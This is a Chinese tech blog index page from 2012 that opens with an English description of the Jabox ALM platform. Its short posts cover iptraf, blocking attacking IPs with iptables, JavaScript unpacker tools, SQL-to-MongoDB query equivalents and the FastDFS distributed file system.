Jabox ALM is an open source Application Lifecycle Management platform. It provides a full-blown Java Enterprise Development Factory using your favorite tools, in less than 5 minutes.

It’s purpose is to manage a seemless integration between Software Configuration Management (SCM), Issue Tracking System (ITS), Continuous Integration System (CIS), Repository Management System (RMS), Code Quality Management (CQM) and other tools in order to provide a complete Software Factory.

Its core is implementation agnostic and there are plugins that glue together each module, in order to provide better extensibility.

It supports automatic download and installation of the modules so that the whole installation process is managed directly by Jabox.

There are no external dependencies apart from a JRE and two port numbers (one for Jabox, and one for the Container of your ALM)

Downloads

Binaries such as WAR files can be found at the Download page.

Source

The source of Jabox ALM can be found on GitHub. Fork us!

Website

All about Jabox ALM can be found on our website. News can be found on our blog. Follow us on Twitter @jaboxALM. Sign-up to our mailing list.

Getting Started

You can launch jabox directly from command line:

java -jar jabox-webapp-*-jetty-console.war 

or deploy the war to a Servlet Container such as Tomcat.

Supported Modules

Below you will find a list of modules that Jabox currently supports. Each of these components is isolated meaning that adding new modules is easy to do.

Software Configuration Management (SCM)

Issue Tracking System (ITS)

Continuous Integration System (CIS)

Repository Management System (RMS)

Code Quality Management (CQM)

标签
四月
3
2012

sudo apt-get install iptraf 就可以安装好了。

运行 iptraf可以图形化查看。简单易用。比nload有利于查看ip的流量情况。尽快诊断。

四月
3
2012

在Linux服务器被攻击的时候,有的时候会有几个主力IP。如果能拒绝掉这几个IP的攻击的话,会大大减轻服务器的压力,说不定服务器就能恢复正常了。

在Linux下封停IP,有封杀网段和封杀单个IP两种形式。一般来说,现在的攻击者不会使用一个网段的IP来攻击(太招摇了),IP一般都是散列的。于是下面就详细说明一下封杀单个IP的命令,和解封单个IP的命令。

在Linux下,使用ipteables来维护IP规则表。要封停或者是解封IP,其实就是在IP规则表中对入站部分的规则进行添加操作。

要封停一个IP,使用下面这条命令:

#iptables -I INPUT -s ***.***.***.*** -j DROP

要解封一个IP,使用下面这条命令:

#iptables -D INPUT -s ***.***.***.*** -j DROP

参数-I是表示Insert(添加),-D表示Delete(删除)。后面跟的是规则,INPUT表示入站,***.***.***.***表示要封停的IP,DROP表示放弃连接。

此外,还可以使用下面的命令来查看当前的IP规则表:

#iptables –list

比如现在要将123.44.55.66这个IP封杀,就输入:

#iptables -I INPUT -s 123.44.55.66 -j DROP

要解封则将-I换成-D即可,前提是iptables已经有这条记录。如果要想清空封掉的IP地址,可以输入:

#iptables –flush

要添加IP段到封停列表中,使用下面的命令:

#iptables -I INPUT -s 121.0.0.0/8 -j DROP

四月
3
2012

JS 加解密代码

1
作者:AirForce

http://dean.edwards.name/packer/

http://jsbeautifier.org/

 

javascript的代码可读化,解密packer的代码。

三月
28
2012
SQL Statement Mongo Query Language Statement
CREATE TABLE USERS (a Number, b Number) Implicit or use MongoDB::createCollection().
INSERT INTO USERS VALUES(1,1) $db->users->insert(array(“a” => 1, “b” => 1));
SELECT a,b FROM users $db->users->find(array(), array(“a” => 1, “b” => 1));
SELECT * FROM users WHERE age=33 $db->users->find(array(“age” => 33));
SELECT a,b FROM users WHERE age=33 $db->users->find(array(“age” => 33), array(“a” => 1, “b” => 1));
SELECT a,b FROM users WHERE age=33 ORDER BY name $db->users->find(array(“age” => 33), array(“a” => 1, “b” => 1))->sort(array(“name” => 1));
SELECT * FROM users WHERE age>33 $db->users->find(array(“age” => array(‘$gt’ => 33)));
SELECT * FROM users WHERE age<33 $db->users->find(array(“age” => array(‘$lt’ => 33)));
SELECT * FROM users WHERE name LIKE “%Joe%” $db->users->find(array(“name” => new MongoRegex(“/Joe/”)));
SELECT * FROM users WHERE name LIKE “Joe%” $db->users->find(array(“name” => new MongoRegex(“/^Joe/”)));
SELECT * FROM users WHERE age>33 AND age<=40 $db->users->find(array(“age” => array(‘$gt’ => 33, ‘$lte’ => 40)));
SELECT * FROM users ORDER BY name DESC $db->users->find()->sort(array(“name” => -1));
CREATE INDEX myindexname ON users(name) $db->users->ensureIndex(array(“name” => 1));
CREATE INDEX myindexname ON users(name,ts DESC) $db->users->ensureIndex(array(“name” => 1, “ts” => -1));
SELECT * FROM users WHERE a=1 and b=’q’ $db->users->find(array(“a” => 1, “b” => “q”));
SELECT * FROM users LIMIT 10 SKIP 20 $db->users->find()->limit(10)->skip(20);
SELECT * FROM users WHERE a=1 or b=2 $db->users->find(array(‘$or’ => array(array(“a” => 1), array(“b” => 2))));
SELECT * FROM users LIMIT 1 $db->users->find()->limit(1);
EXPLAIN SELECT * FROM users WHERE z=3 $db->users->find(array(“z” => 3))->explain()
SELECT DISTINCT last_name FROM users $db->command(array(“distinct” => “users”, “key” => “last_name”));
SELECT COUNT(*y) FROM users $db->users->count();
SELECT COUNT(*y) FROM users where AGE > 30 $db->users->find(array(“age” => array(‘$gt’ => 30)))->count();
SELECT COUNT(AGE) from users $db->users->find(array(“age” => array(‘$exists’ => true)))->count();
UPDATE users SET a=1 WHERE b=’q’ $db->users->update(array(“b” => “q”), array(‘$set’ => array(“a” => 1)));
UPDATE users SET a=a+2 WHERE b=’q’ $db->users->update(array(“b” => “q”), array(‘$inc’ => array(“a” => 2)));
DELETE FROM users WHERE z=”abc” $db->users->remove(array(“z” => “abc”));
三月
21
2012

来自:诗商·柳惊鸿CSDN博客,原文链接:FastDFS的配置、部署与API使用解读(1)入门使用教程

 

1、背景

FastDFS是一款开源的、分布式文件系统(Distributed File System),由淘宝开发平台部资深架构师余庆开发。该开源项目的主页是 http://code.google.com/p/fastdfs 。可以通过fastdfs.sourceforge.net 下载。FastDFS论坛是 http://www.csource.org ,目前是指向 ChinaUnix 开源项目孵化平台的一个板块 FastDFS,网址为 bbs.chinaunix.net/forum-240-1.html 。

 

2、上传流程

我们可以通过 FastDFS 对文件的上传过程,来初步了解 FastDFS 的基本架构。首先客户端 client 发起对 FastDFS 的文件传输动作,是通过连接到某一台 Tracker Server 的指定端口来实现的,Tracker Server 根据目前已掌握的信息,来决定选择哪一台 Storage Server ,然后将这个Storage Server 的地址等信息返回给 client,然后 client 再通过这些信息连接到这台 Storage Server,将要上传的文件传送到给 Storage Server上。

 

3、架构简析

以上这段粗糙简单的描述,基本理清了 FastDFS 的上传过程。我们可以知道,FastDFS 是包括一组 Tracker Server 和 Storage Server 的。Tracker Server 与 Storage Server 之间不直接通信,其基本的信息由配置文件在系统启动加载时获知。多台 Tracker Server 之间保证了 Tracker 的分布式,Tracker Server 之间是对等的,防止了单点故障。 Storage Server 是分成多个 Group,每个 Group 中的Storage 都是互相备份的,也就是说,如果 Group1 有 Storage1、Storage2、Storage3,其容量分别是100GB、100GB、100GB,那么 Group1 的存储能力是 100GB,而不是 300GB,这就是互相备份的意思。进一步说,整个 Group 的存储能力由该组中该储能力最小的 Storage 决定。多个 Group 之间的存储方式,可以采用 round robin(轮训)、load balanced(负载均衡)或指定 Group 的方式。另一点相对于MS(Master-Slave)模式的优势,就是 Tracker Server 与 Master 是决然不同的,不仅 master 有上面可能提到的单点故障问题,而且 client 与 master 之间可能会出现瓶颈。但 FastDFS 架构中,Tracker Server 不会称为系统瓶颈,数据最终是与一个 available 的 Storage Server 进行传输的。

 

4、总结

简单总结一下,FastDFS的特点包括(1)高可靠性:无单点故障;(2)高吞吐量:只要 Group 足够多,数据流量是足够分散的。

 

5、三篇入门博文

FastDFS 还有一个特点,就是适用于小文件存储,因为 FastDFS 不回对文件进行分块。因为文件比较小(比如普通级别的图片类应用,文件最大就在几个MB的量级),一来没有必要分块,二来分块会加重服务器的工作量。但是,如果把 FastDFS 应用于大文件存储的场景,可能这一特点就会变成缺点。

 

以下这三篇是ITeye的一位博友关于 FastDFS 的部署、配置与测试的博文,写得简明扼要,我就不再冗余地写一篇了。

 

部署篇:http://soartju.iteye.com/blog/803477

配置篇:http://soartju.iteye.com/blog/803524

测试篇:http://soartju.iteye.com/blog/803548

标签
页面: 1 2 3 4 5 6 7 8 9 10 ...14 15 16 下一页